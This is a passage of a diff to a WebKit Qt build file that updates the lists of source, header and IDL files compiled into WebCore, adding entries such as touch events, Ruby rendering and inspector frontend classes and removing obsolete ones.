-    svg/SVGElementInstanceList.idl \
-    svg/SVGEllipseElement.idl \
-    svg/SVGException.idl \
-    svg/SVGFEBlendElement.idl \
-    svg/SVGFEColorMatrixElement.idl \
-    svg/SVGFEComponentTransferElement.idl \
-    svg/SVGFECompositeElement.idl \
-    svg/SVGFEDiffuseLightingElement.idl \
-    svg/SVGFEDisplacementMapElement.idl \
-    svg/SVGFEDistantLightElement.idl \
-    svg/SVGFEFloodElement.idl \
-    svg/SVGFEFuncAElement.idl \
-    svg/SVGFEFuncBElement.idl \
-    svg/SVGFEFuncGElement.idl \
-    svg/SVGFEFuncRElement.idl \
-    svg/SVGFEGaussianBlurElement.idl \
-    svg/SVGFEImageElement.idl \
-    svg/SVGFEMergeElement.idl \
-    svg/SVGFEMergeNodeElement.idl \
-    svg/SVGFEMorphologyElement.idl \
-    svg/SVGFEOffsetElement.idl \
-    svg/SVGFEPointLightElement.idl \
-    svg/SVGFESpecularLightingElement.idl \
-    svg/SVGFESpotLightElement.idl \
-    svg/SVGFETileElement.idl \
-    svg/SVGFETurbulenceElement.idl \
-    svg/SVGFilterElement.idl \
-    svg/SVGFontElement.idl \
-    svg/SVGFontFaceElement.idl \
-    svg/SVGFontFaceFormatElement.idl \
-    svg/SVGFontFaceNameElement.idl \
-    svg/SVGFontFaceSrcElement.idl \
-    svg/SVGFontFaceUriElement.idl \
-    svg/SVGForeignObjectElement.idl \
-    svg/SVGGElement.idl \
-    svg/SVGGlyphElement.idl \
-    svg/SVGGradientElement.idl \
-    svg/SVGHKernElement.idl \
-    svg/SVGImageElement.idl \
-    svg/SVGLength.idl \
-    svg/SVGLengthList.idl \
-    svg/SVGLinearGradientElement.idl \
-    svg/SVGLineElement.idl \
-    svg/SVGMarkerElement.idl \
-    svg/SVGMaskElement.idl \
-    svg/SVGMatrix.idl \
-    svg/SVGMetadataElement.idl \
-    svg/SVGMissingGlyphElement.idl \
-    svg/SVGNumber.idl \
-    svg/SVGNumberList.idl \
-    svg/SVGPaint.idl \
-    svg/SVGPathElement.idl \
-    svg/SVGPathSegArcAbs.idl \
-    svg/SVGPathSegArcRel.idl \
-    svg/SVGPathSegClosePath.idl \
-    svg/SVGPathSegCurvetoCubicAbs.idl \
-    svg/SVGPathSegCurvetoCubicRel.idl \
-    svg/SVGPathSegCurvetoCubicSmoothAbs.idl \
-    svg/SVGPathSegCurvetoCubicSmoothRel.idl \
-    svg/SVGPathSegCurvetoQuadraticAbs.idl \
-    svg/SVGPathSegCurvetoQuadraticRel.idl \
-    svg/SVGPathSegCurvetoQuadraticSmoothAbs.idl \
-    svg/SVGPathSegCurvetoQuadraticSmoothRel.idl \
-    svg/SVGPathSeg.idl \
-    svg/SVGPathSegLinetoAbs.idl \
-    svg/SVGPathSegLinetoHorizontalAbs.idl \
-    svg/SVGPathSegLinetoHorizontalRel.idl \
-    svg/SVGPathSegLinetoRel.idl \
-    svg/SVGPathSegLinetoVerticalAbs.idl \
-    svg/SVGPathSegLinetoVerticalRel.idl \
-    svg/SVGPathSegList.idl \
-    svg/SVGPathSegMovetoAbs.idl \
-    svg/SVGPathSegMovetoRel.idl \
-    svg/SVGPatternElement.idl \
-    svg/SVGPoint.idl \
-    svg/SVGPointList.idl \
-    svg/SVGPolygonElement.idl \
-    svg/SVGPolylineElement.idl \
-    svg/SVGPreserveAspectRatio.idl \
-    svg/SVGRadialGradientElement.idl \
-    svg/SVGRectElement.idl \
-    svg/SVGRect.idl \
-    svg/SVGRenderingIntent.idl \
-    svg/SVGScriptElement.idl \
-    svg/SVGSetElement.idl \
-    svg/SVGStopElement.idl \
-    svg/SVGStringList.idl \
-    svg/SVGStyleElement.idl \
-    svg/SVGSVGElement.idl \
-    svg/SVGSwitchElement.idl \
-    svg/SVGSymbolElement.idl \
-    svg/SVGTextContentElement.idl \
-    svg/SVGTextElement.idl \
-    svg/SVGTextPathElement.idl \
-    svg/SVGTextPositioningElement.idl \
-    svg/SVGTitleElement.idl \
-    svg/SVGTransform.idl \
-    svg/SVGTransformList.idl \
-    svg/SVGTRefElement.idl \
-    svg/SVGTSpanElement.idl \
-    svg/SVGUnitTypes.idl \
-    svg/SVGUseElement.idl \
-    svg/SVGViewElement.idl \
-    websockets/WebSocket.idl \
-    workers/AbstractWorker.idl \
-    workers/DedicatedWorkerContext.idl \
-    workers/SharedWorker.idl \
-    workers/SharedWorkerContext.idl \
-    workers/Worker.idl \
-    workers/WorkerContext.idl \
-    workers/WorkerLocation.idl \
-    xml/DOMParser.idl \
-    xml/XMLHttpRequest.idl \
-    xml/XMLHttpRequestException.idl \
-    xml/XMLHttpRequestProgressEvent.idl \
-    xml/XMLHttpRequestUpload.idl \
-    xml/XMLSerializer.idl \
-    xml/XPathNSResolver.idl \
-    xml/XPathException.idl \
-    xml/XPathExpression.idl \
-    xml/XPathResult.idl \
-    xml/XPathEvaluator.idl \
-    xml/XSLTProcessor.idl
-
-
 SOURCES += \
     accessibility/AccessibilityImageMapLink.cpp \
     accessibility/AccessibilityMediaControls.cpp \    
+    accessibility/AccessibilityMenuList.cpp \
+    accessibility/AccessibilityMenuListOption.cpp \
+    accessibility/AccessibilityMenuListPopup.cpp \
     accessibility/AccessibilityObject.cpp \    
     accessibility/AccessibilityList.cpp \    
     accessibility/AccessibilityListBox.cpp \    
     accessibility/AccessibilityListBoxOption.cpp \    
     accessibility/AccessibilityRenderObject.cpp \    
+    accessibility/AccessibilityScrollbar.cpp \
     accessibility/AccessibilitySlider.cpp \    
     accessibility/AccessibilityARIAGrid.cpp \    
     accessibility/AccessibilityARIAGridCell.cpp \    
@@ -695,6 +269,8 @@ SOURCES += \
     accessibility/AccessibilityTableRow.cpp \    
     accessibility/AXObjectCache.cpp \
     bindings/js/GCController.cpp \
+    bindings/js/DOMObjectHashTableMap.cpp \
+    bindings/js/DOMWrapperWorld.cpp \
     bindings/js/JSCallbackData.cpp \
     bindings/js/JSAttrCustom.cpp \
     bindings/js/JSCDATASectionCustom.cpp \
@@ -713,12 +289,15 @@ SOURCES += \
     bindings/js/JSCustomXPathNSResolver.cpp \
     bindings/js/JSDataGridColumnListCustom.cpp \
     bindings/js/JSDataGridDataSource.cpp \
+    bindings/js/JSDebugWrapperSet.cpp \
     bindings/js/JSDocumentCustom.cpp \
     bindings/js/JSDocumentFragmentCustom.cpp \
+    bindings/js/JSDOMFormDataCustom.cpp \
     bindings/js/JSDOMGlobalObject.cpp \
     bindings/js/JSDOMWindowBase.cpp \
     bindings/js/JSDOMWindowCustom.cpp \
     bindings/js/JSDOMWindowShell.cpp \
+    bindings/js/JSDOMWrapper.cpp \
     bindings/js/JSElementCustom.cpp \
     bindings/js/JSEventCustom.cpp \
     bindings/js/JSEventSourceConstructor.cpp \
@@ -745,9 +324,8 @@ SOURCES += \
     bindings/js/JSHTMLSelectElementCustom.cpp \
     bindings/js/JSImageConstructor.cpp \
     bindings/js/JSImageDataCustom.cpp \
-    bindings/js/JSInspectedObjectWrapper.cpp \
-    bindings/js/JSInspectorBackendCustom.cpp \
-    bindings/js/JSInspectorCallbackWrapper.cpp \
+    bindings/js/JSInjectedScriptHostCustom.cpp \
+    bindings/js/JSInspectorFrontendHostCustom.cpp \
     bindings/js/JSLocationCustom.cpp \
     bindings/js/JSNamedNodeMapCustom.cpp \
     bindings/js/JSNavigatorCustom.cpp  \
@@ -757,7 +335,6 @@ SOURCES += \
     bindings/js/JSNodeIteratorCustom.cpp \
     bindings/js/JSNodeListCustom.cpp \
     bindings/js/JSOptionConstructor.cpp \
-    bindings/js/JSQuarantinedObjectWrapper.cpp \
     bindings/js/JSStyleSheetCustom.cpp \
     bindings/js/JSStyleSheetListCustom.cpp \
     bindings/js/JSTextCustom.cpp \
@@ -779,15 +356,21 @@ SOURCES += \
     bindings/js/JSEventListener.cpp \
     bindings/js/JSLazyEventListener.cpp \
     bindings/js/JSPluginElementFunctions.cpp \
+    bindings/js/JSPopStateEventCustom.cpp \
+    bindings/js/JavaScriptProfile.h \
+    bindings/js/JavaScriptProfileNode.h \
+    bindings/js/JavaScriptProfile.cpp \
+    bindings/js/JavaScriptProfileNode.cpp \
     bindings/js/ScriptArray.cpp \
     bindings/js/ScriptCachedFrameData.cpp \
     bindings/js/ScriptCallFrame.cpp \
     bindings/js/ScriptCallStack.cpp \
     bindings/js/ScriptController.cpp \
+    bindings/js/ScriptDebugServer.cpp \
     bindings/js/ScriptEventListener.cpp \
     bindings/js/ScriptFunctionCall.cpp \
     bindings/js/ScriptObject.cpp \
-    bindings/js/ScriptObjectQuarantine.cpp \
+    bindings/js/ScriptProfiler.cpp \
     bindings/js/ScriptState.cpp \
     bindings/js/ScriptValue.cpp \
     bindings/js/ScheduledAction.cpp \
@@ -797,14 +380,15 @@ SOURCES += \
     bridge/NP_jsobject.cpp \
     bridge/npruntime.cpp \
     bridge/runtime_array.cpp \
-    bridge/runtime.cpp \
     bridge/runtime_method.cpp \
     bridge/runtime_object.cpp \
     bridge/runtime_root.cpp \
+    bridge/c/CRuntimeObject.cpp \
     bridge/c/c_class.cpp \
     bridge/c/c_instance.cpp \
     bridge/c/c_runtime.cpp \
     bridge/c/c_utility.cpp \
+    bridge/jsc/BridgeJSC.cpp \
     css/CSSBorderImageValue.cpp \
     css/CSSCanvasValue.cpp \
     css/CSSCharsetRule.cpp \
@@ -871,18 +455,20 @@ SOURCES += \
     dom/BeforeTextInsertedEvent.cpp \
     dom/BeforeUnloadEvent.cpp \
     dom/CDATASection.cpp \
+    dom/CanvasSurface.cpp \
     dom/CharacterData.cpp \
     dom/CheckedRadioButtons.cpp \
     dom/ChildNodeList.cpp \
-    dom/ClassNames.cpp \
     dom/ClassNodeList.cpp \
     dom/ClientRect.cpp \
     dom/ClientRectList.cpp \
     dom/Clipboard.cpp \
     dom/ClipboardEvent.cpp \
     dom/Comment.cpp \
+    dom/CompositionEvent.cpp \
     dom/ContainerNode.cpp \
     dom/CSSMappedAttributeDeclaration.cpp \
+    dom/CustomEvent.cpp \
     dom/Document.cpp \
     dom/DocumentFragment.cpp \
     dom/DocumentType.cpp \
@@ -920,6 +506,7 @@ SOURCES += \
     dom/OptionElement.cpp \
     dom/OverflowEvent.cpp \
     dom/PageTransitionEvent.cpp \
+    dom/PopStateEvent.cpp \
     dom/Position.cpp \
     dom/PositionIterator.cpp \
     dom/ProcessingInstruction.cpp \
@@ -931,12 +518,16 @@ SOURCES += \
     dom/ScriptExecutionContext.cpp \
     dom/SelectElement.cpp \
     dom/SelectorNodeList.cpp \
+    dom/SpaceSplitString.cpp \
     dom/StaticNodeList.cpp \
     dom/StyledElement.cpp \
     dom/StyleElement.cpp \
     dom/TagNodeList.cpp \
     dom/Text.cpp \
     dom/TextEvent.cpp \
+    dom/Touch.cpp \
+    dom/TouchEvent.cpp \
+    dom/TouchList.cpp \
     dom/Traversal.cpp \
     dom/TreeWalker.cpp \
     dom/UIEvent.cpp \
@@ -1000,6 +591,7 @@ SOURCES += \
     history/HistoryItem.cpp \
     history/qt/HistoryItemQt.cpp \
     history/PageCache.cpp \
+    html/Blob.cpp \
     html/canvas/CanvasGradient.cpp \
     html/canvas/CanvasPattern.cpp \
     html/canvas/CanvasPixelArray.cpp \
@@ -1009,7 +601,9 @@ SOURCES += \
     html/CollectionCache.cpp \
     html/DataGridColumn.cpp \
     html/DataGridColumnList.cpp \
+    html/DateComponents.cpp \
     html/DOMDataGridDataSource.cpp \
+    html/DOMFormData.cpp \
     html/File.cpp \
     html/FileList.cpp \
     html/FormDataList.cpp \
@@ -1077,9 +671,9 @@ SOURCES += \
     html/HTMLPlugInElement.cpp \
     html/HTMLPlugInImageElement.cpp \
     html/HTMLPreElement.cpp \
+    html/HTMLProgressElement.cpp \
     html/HTMLQuoteElement.cpp \
     html/HTMLScriptElement.cpp \
-    html/HTMLNoScriptElement.cpp \
     html/HTMLSelectElement.cpp \
     html/HTMLStyleElement.cpp \
     html/HTMLTableCaptionElement.cpp \
@@ -1097,14 +691,19 @@ SOURCES += \
     html/HTMLViewSourceDocument.cpp \
     html/ImageData.cpp \
     html/PreloadScanner.cpp \
+    html/StepRange.cpp \
     html/ValidityState.cpp \
     inspector/ConsoleMessage.cpp \
+    inspector/InjectedScript.cpp \
+    inspector/InjectedScriptHost.cpp \
     inspector/InspectorBackend.cpp \
     inspector/InspectorController.cpp \
     inspector/InspectorDatabaseResource.cpp \
     inspector/InspectorDOMAgent.cpp \
     inspector/InspectorDOMStorageResource.cpp \
     inspector/InspectorFrontend.cpp \
+    inspector/InspectorFrontendClientLocal.cpp \
+    inspector/InspectorFrontendHost.cpp \
     inspector/InspectorResource.cpp \
     inspector/InspectorTimelineAgent.cpp \
     inspector/TimelineRecordFactory.cpp \
@@ -1173,6 +772,8 @@ SOURCES += \
     page/FrameTree.cpp \
     page/FrameView.cpp \
     page/Geolocation.cpp \
+    page/GeolocationController.cpp \
+    page/GeolocationPositionCache.cpp \
     page/History.cpp \
     page/Location.cpp \
     page/MouseEventWithHitTestResults.cpp \
@@ -1185,6 +786,7 @@ SOURCES += \
     page/SecurityOrigin.cpp \
     page/Screen.cpp \
     page/Settings.cpp \
+    page/SpatialNavigation.cpp \
     page/UserContentURLPattern.cpp \
     page/WindowFeatures.cpp \
     page/XSSAuditor.cpp \
@@ -1210,8 +812,8 @@ SOURCES += \
     platform/FileChooser.cpp \
     platform/GeolocationService.cpp \
     platform/image-decoders/qt/RGBA32BufferQt.cpp \
-    platform/graphics/filters/FEGaussianBlur.cpp \
     platform/graphics/FontDescription.cpp \
+    platform/graphics/FontFallbackList.cpp \
     platform/graphics/FontFamily.cpp \
     platform/graphics/BitmapImage.cpp \
     platform/graphics/Color.cpp \
@@ -1222,6 +824,7 @@ SOURCES += \
     platform/graphics/FloatSize.cpp \
     platform/graphics/FontData.cpp \
     platform/graphics/Font.cpp \
+    platform/graphics/FontCache.cpp \
     platform/graphics/GeneratedImage.cpp \
     platform/graphics/Gradient.cpp \
     platform/graphics/GraphicsContext.cpp \
@@ -1236,6 +839,8 @@ SOURCES += \
     platform/graphics/Pen.cpp \
     platform/graphics/SegmentedFontData.cpp \
     platform/graphics/SimpleFontData.cpp \
+    platform/graphics/TiledBackingStore.cpp \
+    platform/graphics/transforms/AffineTransform.cpp \
     platform/graphics/transforms/TransformationMatrix.cpp \
     platform/graphics/transforms/MatrixTransformOperation.cpp \
     platform/graphics/transforms/Matrix3DTransformOperation.cpp \
@@ -1293,6 +898,7 @@ SOURCES += \
     plugins/PluginView.cpp \
     rendering/AutoTableLayout.cpp \
     rendering/break_lines.cpp \
+    rendering/BidiRun.cpp \
     rendering/CounterNode.cpp \
     rendering/EllipsisBox.cpp \
     rendering/FixedTableLayout.cpp \
@@ -1311,6 +917,7 @@ SOURCES += \
     rendering/RenderButton.cpp \
     rendering/RenderCounter.cpp \
     rendering/RenderDataGrid.cpp \
+    rendering/RenderEmbeddedObject.cpp \
     rendering/RenderFieldset.cpp \
     rendering/RenderFileUploadControl.cpp \
     rendering/RenderFlexibleBox.cpp \
@@ -1331,8 +938,13 @@ SOURCES += \
     rendering/RenderObjectChildList.cpp \
     rendering/RenderPart.cpp \
     rendering/RenderPartObject.cpp \
+    rendering/RenderProgress.cpp \
     rendering/RenderReplaced.cpp \
     rendering/RenderReplica.cpp \
+    rendering/RenderRuby.cpp \
+    rendering/RenderRubyBase.cpp \
+    rendering/RenderRubyRun.cpp \
+    rendering/RenderRubyText.cpp \
     rendering/RenderScrollbar.cpp \
     rendering/RenderScrollbarPart.cpp \
     rendering/RenderScrollbarTheme.cpp \
@@ -1380,6 +992,7 @@ SOURCES += \
     rendering/style/StyleVisualData.cpp \
     xml/DOMParser.cpp \
     xml/XMLHttpRequest.cpp \
+    xml/XMLHttpRequestProgressEventThrottle.cpp \
     xml/XMLHttpRequestUpload.cpp \
     xml/XMLSerializer.cpp 
 
@@ -1394,6 +1007,7 @@ HEADERS += \
     accessibility/AccessibilityMediaControls.h \
     accessibility/AccessibilityObject.h \
     accessibility/AccessibilityRenderObject.h \
+    accessibility/AccessibilityScrollbar.h \
     accessibility/AccessibilitySlider.h \
     accessibility/AccessibilityTableCell.h \
     accessibility/AccessibilityTableColumn.h \
@@ -1402,8 +1016,9 @@ HEADERS += \
     accessibility/AccessibilityTableRow.h \
     accessibility/AXObjectCache.h \
     bindings/js/CachedScriptSourceProvider.h \
-    bindings/js/DOMObjectWithSVGContext.h \
     bindings/js/GCController.h \
+    bindings/js/DOMObjectHashTableMap.h \
+    bindings/js/DOMWrapperWorld.h \
     bindings/js/JSCallbackData.h \
     bindings/js/JSAudioConstructor.h \
     bindings/js/JSCSSStyleDeclarationCustom.h \
@@ -1415,13 +1030,16 @@ HEADERS += \
     bindings/js/JSCustomSQLTransactionErrorCallback.h \
     bindings/js/JSCustomVoidCallback.h \
     bindings/js/JSCustomXPathNSResolver.h \
+    bindings/js/JSDatabaseCallback.h \
     bindings/js/JSDataGridDataSource.h \
+    bindings/js/JSDebugWrapperSet.h \
     bindings/js/JSDOMBinding.h \
     bindings/js/JSDOMGlobalObject.h \
     bindings/js/JSDOMWindowBase.h \
     bindings/js/JSDOMWindowBase.h \
     bindings/js/JSDOMWindowCustom.h \
     bindings/js/JSDOMWindowShell.h \
+    bindings/js/JSDOMWrapper.h \
     bindings/js/JSEventListener.h \
     bindings/js/JSEventSourceConstructor.h \
     bindings/js/JSEventTarget.h \
@@ -1432,15 +1050,13 @@ HEADERS += \
     bindings/js/JSHTMLObjectElementCustom.h \
     bindings/js/JSHTMLSelectElementCustom.h \
     bindings/js/JSImageConstructor.h \
-    bindings/js/JSInspectedObjectWrapper.h \
-    bindings/js/JSInspectorCallbackWrapper.h \
     bindings/js/JSLazyEventListener.h \
     bindings/js/JSLocationCustom.h \
     bindings/js/JSMessageChannelConstructor.h \
+    bindings/js/JSNodeCustom.h \
     bindings/js/JSNodeFilterCondition.h \
     bindings/js/JSOptionConstructor.h \
     bindings/js/JSPluginElementFunctions.h \
-    bindings/js/JSQuarantinedObjectWrapper.h \
     bindings/js/JSSharedWorkerConstructor.h \
     bindings/js/JSStorageCustom.h \
     bindings/js/JSWebKitCSSMatrixConstructor.h \
@@ -1459,26 +1075,30 @@ HEADERS += \
     bindings/js/ScriptEventListener.h \
     bindings/js/ScriptFunctionCall.h \
     bindings/js/ScriptObject.h \
-    bindings/js/ScriptObjectQuarantine.h \
     bindings/js/ScriptSourceCode.h \
     bindings/js/ScriptSourceProvider.h \
     bindings/js/ScriptState.h \
     bindings/js/ScriptValue.h \
+    bindings/js/ScriptWrappable.h \
     bindings/js/SerializedScriptValue.h \
     bindings/js/StringSourceProvider.h \
+    bindings/js/WebCoreJSClientData.h \
     bindings/js/WorkerScriptController.h \
+    bridge/Bridge.h \
+    bridge/c/CRuntimeObject.h \
     bridge/c/c_class.h \
     bridge/c/c_instance.h \
     bridge/c/c_runtime.h \
     bridge/c/c_utility.h \
+    bridge/jsc/BridgeJSC.h \
     bridge/IdentifierRep.h \
     bridge/NP_jsobject.h \
     bridge/npruntime.h \
     bridge/qt/qt_class.h \
     bridge/qt/qt_instance.h \
     bridge/qt/qt_runtime.h \
+    bridge/qt/qt_pixmapruntime.h \
     bridge/runtime_array.h \
-    bridge/runtime.h \
     bridge/runtime_method.h \
     bridge/runtime_object.h \
     bridge/runtime_root.h \
@@ -1551,7 +1171,6 @@ HEADERS += \
     dom/CharacterData.h \
     dom/CheckedRadioButtons.h \
     dom/ChildNodeList.h \
-    dom/ClassNames.h \
     dom/ClassNodeList.h \
     dom/ClientRect.h \
     dom/ClientRectList.h \
@@ -1560,6 +1179,7 @@ HEADERS += \
     dom/Comment.h \
     dom/ContainerNode.h \
     dom/CSSMappedAttributeDeclaration.h \
+    dom/CustomEvent.h \
     dom/default/PlatformMessagePortChannel.h \
     dom/DocumentFragment.h \
     dom/Document.h \
@@ -1608,12 +1228,16 @@ HEADERS += \
     dom/ScriptExecutionContext.h \
     dom/SelectElement.h \
     dom/SelectorNodeList.h \
+    dom/SpaceSplitString.h \
     dom/StaticNodeList.h \
     dom/StyledElement.h \
     dom/StyleElement.h \
     dom/TagNodeList.h \
     dom/TextEvent.h \
     dom/Text.h \
+    dom/Touch.h \
+    dom/TouchEvent.h \
+    dom/TouchList.h \
     dom/TransformSource.h \
     dom/Traversal.h \
     dom/TreeWalker.h \
@@ -1673,6 +1297,7 @@ HEADERS += \
     history/CachedPage.h \
     history/HistoryItem.h \
     history/PageCache.h \
+    html/Blob.h \
     html/canvas/CanvasGradient.h \
     html/canvas/CanvasPattern.h \
     html/canvas/CanvasPixelArray.h \
@@ -1682,7 +1307,9 @@ HEADERS += \
     html/CollectionCache.h \
     html/DataGridColumn.h \
     html/DataGridColumnList.h \
+    html/DateComponents.h \
     html/DOMDataGridDataSource.h \
+    html/DOMFormData.h \
     html/File.h \
     html/FileList.h \
     html/FormDataList.h \
@@ -1752,6 +1379,7 @@ HEADERS += \
     html/HTMLPlugInElement.h \
     html/HTMLPlugInImageElement.h \
     html/HTMLPreElement.h \
+    html/HTMLProgressElement.h \
     html/HTMLQuoteElement.h \
     html/HTMLScriptElement.h \
     html/HTMLSelectElement.h \
@@ -1773,20 +1401,23 @@ HEADERS += \
     html/HTMLViewSourceDocument.h \
     html/ImageData.h \
     html/PreloadScanner.h \
+    html/StepRange.h \
     html/TimeRanges.h \
     html/ValidityState.h \
     inspector/ConsoleMessage.h \
+    inspector/InjectedScript.h \
+    inspector/InjectedScriptHost.h \
     inspector/InspectorBackend.h \
     inspector/InspectorController.h \
     inspector/InspectorDatabaseResource.h \
     inspector/InspectorDOMStorageResource.h \
     inspector/InspectorFrontend.h \
+    inspector/InspectorFrontendClient.h \
+    inspector/InspectorFrontendClientLocal.h \
+    inspector/InspectorFrontendHost.h \
     inspector/InspectorResource.h \
     inspector/InspectorTimelineAgent.h \
     inspector/JavaScriptCallFrame.h \
-    inspector/JavaScriptDebugServer.h \
-    inspector/JavaScriptProfile.h \
-    inspector/JavaScriptProfileNode.h \
     inspector/TimelineRecordFactory.h \
     loader/appcache/ApplicationCacheGroup.h \
     loader/appcache/ApplicationCacheHost.h \
@@ -1846,6 +1477,7 @@ HEADERS += \
     page/Chrome.h \
     page/Console.h \
     page/ContextMenuController.h \
+    page/ContextMenuProvider.h \
     page/Coordinates.h \
     page/DOMSelection.h \
     page/DOMTimer.h \
@@ -1858,6 +1490,7 @@ HEADERS += \
     page/FrameTree.h \
     page/FrameView.h \
     page/Geolocation.h \
+    page/GeolocationPositionCache.h \
     page/Geoposition.h \
     page/HaltablePlugin.h \
     page/History.h \
@@ -1874,9 +1507,11 @@ HEADERS += \
     page/Screen.h \
     page/SecurityOrigin.h \
     page/Settings.h \
+    page/SpatialNavigation.h \
     page/WindowFeatures.h \
     page/WorkerNavigator.h \
     page/XSSAuditor.h \
+    page/ZoomMode.h \
     platform/animation/Animation.h \
     platform/animation/AnimationList.h \
     platform/Arena.h \
@@ -1915,6 +1550,8 @@ HEADERS += \
     platform/graphics/GraphicsTypes.h \
     platform/graphics/Image.h \
     platform/graphics/ImageSource.h \
+    platform/graphics/IntPoint.h \
+    platform/graphics/IntPointHash.h \
     platform/graphics/IntRect.h \
     platform/graphics/MediaPlayer.h \
     platform/graphics/Path.h \
@@ -1926,6 +1563,9 @@ HEADERS += \
     platform/graphics/qt/StillImageQt.h \
     platform/graphics/SegmentedFontData.h \
     platform/graphics/SimpleFontData.h \
+    platform/graphics/Tile.h \
+    platform/graphics/TiledBackingStore.h \    
+    platform/graphics/TiledBackingStoreClient.h \
     platform/graphics/transforms/Matrix3DTransformOperation.h \
     platform/graphics/transforms/MatrixTransformOperation.h \
     platform/graphics/transforms/PerspectiveTransformOperation.h \
@@ -1941,6 +1581,7 @@ HEADERS += \
     platform/Logging.h \
     platform/MIMETypeRegistry.h \
     platform/network/AuthenticationChallengeBase.h \
+    platform/network/AuthenticationClient.h \
     platform/network/Credential.h \
     platform/network/FormDataBuilder.h \
     platform/network/FormData.h \
@@ -1953,9 +1594,12 @@ HEADERS += \
     platform/network/ResourceHandle.h \
     platform/network/ResourceRequestBase.h \
     platform/network/ResourceResponseBase.h \
+    platform/PlatformTouchEvent.h \
+    platform/PlatformTouchPoint.h \
     platform/qt/ClipboardQt.h \
     platform/qt/QWebPageClient.h \
-    platform/qt/QWebPopup.h \
+    platform/qt/QtAbstractWebPopup.h \
+    platform/qt/QtStyleOptionWebComboBox.h \
     platform/qt/RenderThemeQt.h \
     platform/qt/ScrollbarThemeQt.h \
     platform/Scrollbar.h \
@@ -2022,6 +1666,7 @@ HEADERS += \
     rendering/RenderButton.h \
     rendering/RenderCounter.h \
     rendering/RenderDataGrid.h \
+    rendering/RenderEmbeddedObject.h \
     rendering/RenderFieldset.h \
     rendering/RenderFileUploadControl.h \
     rendering/RenderFlexibleBox.h \
@@ -2045,8 +1690,13 @@ HEADERS += \
     rendering/RenderPart.h \
     rendering/RenderPartObject.h \
     rendering/RenderPath.h \
+    rendering/RenderProgress.h \
     rendering/RenderReplaced.h \
     rendering/RenderReplica.h \
+    rendering/RenderRuby.h \
+    rendering/RenderRubyBase.h \
+    rendering/RenderRubyRun.h \
+    rendering/RenderRubyText.h \
     rendering/RenderScrollbar.h \
     rendering/RenderScrollbarPart.h \
     rendering/RenderScrollbarTheme.h \
@@ -2059,7 +1709,11 @@ HEADERS += \
     rendering/RenderSVGInline.h \
     rendering/RenderSVGInlineText.h \
     rendering/RenderSVGModelObject.h \
+    rendering/RenderSVGResource.h \
+    rendering/RenderSVGResourceClipper.h \
+    rendering/RenderSVGResourceMasker.h \
     rendering/RenderSVGRoot.h \
+    rendering/RenderSVGShadowTreeRootContainer.h \
     rendering/RenderSVGText.h \
     rendering/RenderSVGTextPath.h \
     rendering/RenderSVGTransformableContainer.h \
@@ -2112,9 +1766,12 @@ HEADERS += \
     rendering/SVGCharacterLayoutInfo.h \
     rendering/SVGInlineFlowBox.h \
     rendering/SVGInlineTextBox.h \
+    rendering/SVGMarkerData.h \
+    rendering/SVGMarkerLayoutInfo.h \
     rendering/SVGRenderSupport.h \
     rendering/SVGRenderTreeAsText.h \
     rendering/SVGRootInlineBox.h \
+    rendering/SVGShadowTreeElements.h \
     rendering/TextControlInnerElements.h \
     rendering/TransformState.h \
     svg/animation/SMILTimeContainer.h \
@@ -2142,17 +1799,19 @@ HEADERS += \
     svg/graphics/SVGPaintServerPattern.h \
     svg/graphics/SVGPaintServerRadialGradient.h \
     svg/graphics/SVGPaintServerSolid.h \
-    svg/graphics/SVGResourceClipper.h \
     svg/graphics/SVGResourceFilter.h \
     svg/graphics/SVGResource.h \
     svg/graphics/SVGResourceMarker.h \
-    svg/graphics/SVGResourceMasker.h \
     svg/SVGAElement.h \
     svg/SVGAltGlyphElement.h \
     svg/SVGAngle.h \
     svg/SVGAnimateColorElement.h \
     svg/SVGAnimatedPathData.h \
     svg/SVGAnimatedPoints.h \
+    svg/SVGAnimatedProperty.h \
+    svg/SVGAnimatedPropertySynchronizer.h \
+    svg/SVGAnimatedPropertyTraits.h \
+    svg/SVGAnimatedTemplate.h \
     svg/SVGAnimateElement.h \
     svg/SVGAnimateMotionElement.h \
     svg/SVGAnimateTransformElement.h \
@@ -2169,6 +1828,7 @@ HEADERS += \
     svg/SVGElement.h \
     svg/SVGElementInstance.h \
     svg/SVGElementInstanceList.h \
+    svg/SVGElementRareData.h \
     svg/SVGEllipseElement.h \
     svg/SVGExternalResourcesRequired.h \
     svg/SVGFEBlendElement.h \
@@ -2276,7 +1936,6 @@ HEADERS += \
     svg/SVGViewSpec.h \
     svg/SVGZoomAndPan.h \
     svg/SVGZoomEvent.h \
-    svg/SynchronizablePropertyController.h \
     wml/WMLAccessElement.h \
     wml/WMLAElement.h \
     wml/WMLAnchorElement.h \
@@ -2350,6 +2009,7 @@ HEADERS += \
     xml/XSLTProcessor.h \
     xml/XSLTUnicodeSort.h \
     $$PWD/../WebKit/qt/Api/qwebplugindatabase_p.h \
+    $$PWD/../WebKit/qt/WebCoreSupport/QtFallbackWebPopup.h \
     $$PWD/../WebKit/qt/WebCoreSupport/FrameLoaderClientQt.h \
     $$PWD/platform/network/qt/DnsPrefetchHelper.h
 
@@ -2358,6 +2018,7 @@ SOURCES += \
     bindings/js/ScriptControllerQt.cpp \
     bridge/qt/qt_class.cpp \
     bridge/qt/qt_instance.cpp \
+    bridge/qt/qt_pixmapruntime.cpp \
     bridge/qt/qt_runtime.cpp \
     page/qt/DragControllerQt.cpp \
     page/qt/EventHandlerQt.cpp \
@@ -2365,7 +2026,6 @@ SOURCES += \
     platform/graphics/qt/TransformationMatrixQt.cpp \
     platform/graphics/qt/ColorQt.cpp \
     platform/graphics/qt/FontQt.cpp \
-    platform/graphics/qt/FontQt43.cpp \
     platform/graphics/qt/FontPlatformDataQt.cpp \
     platform/graphics/qt/FloatPointQt.cpp \
     platform/graphics/qt/FloatRectQt.cpp \
@@ -2398,10 +2058,10 @@ SOURCES += \
     platform/qt/FileSystemQt.cpp \
     platform/qt/SharedBufferQt.cpp \
     platform/graphics/qt/FontCacheQt.cpp \
-    platform/graphics/qt/FontCustomPlatformData.cpp \
-    platform/graphics/qt/FontFallbackListQt.cpp \
+    platform/graphics/qt/FontCustomPlatformDataQt.cpp \
     platform/graphics/qt/GlyphPageTreeNodeQt.cpp \
     platform/graphics/qt/SimpleFontDataQt.cpp \
+    platform/graphics/qt/TileQt.cpp \
     platform/qt/KURLQt.cpp \
     platform/qt/Localizations.cpp \
     platform/qt/MIMETypeRegistryQt.cpp \
@@ -2409,8 +2069,10 @@ SOURCES += \
     platform/qt/PlatformKeyboardEventQt.cpp \
     platform/qt/PlatformMouseEventQt.cpp \
     platform/qt/PlatformScreenQt.cpp \
